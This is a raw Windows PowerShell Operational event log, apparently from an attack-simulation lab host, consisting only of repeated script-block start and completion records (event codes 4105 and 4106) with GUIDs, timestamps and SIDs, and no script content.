Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048211
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048205
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048183
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048181
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048180
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
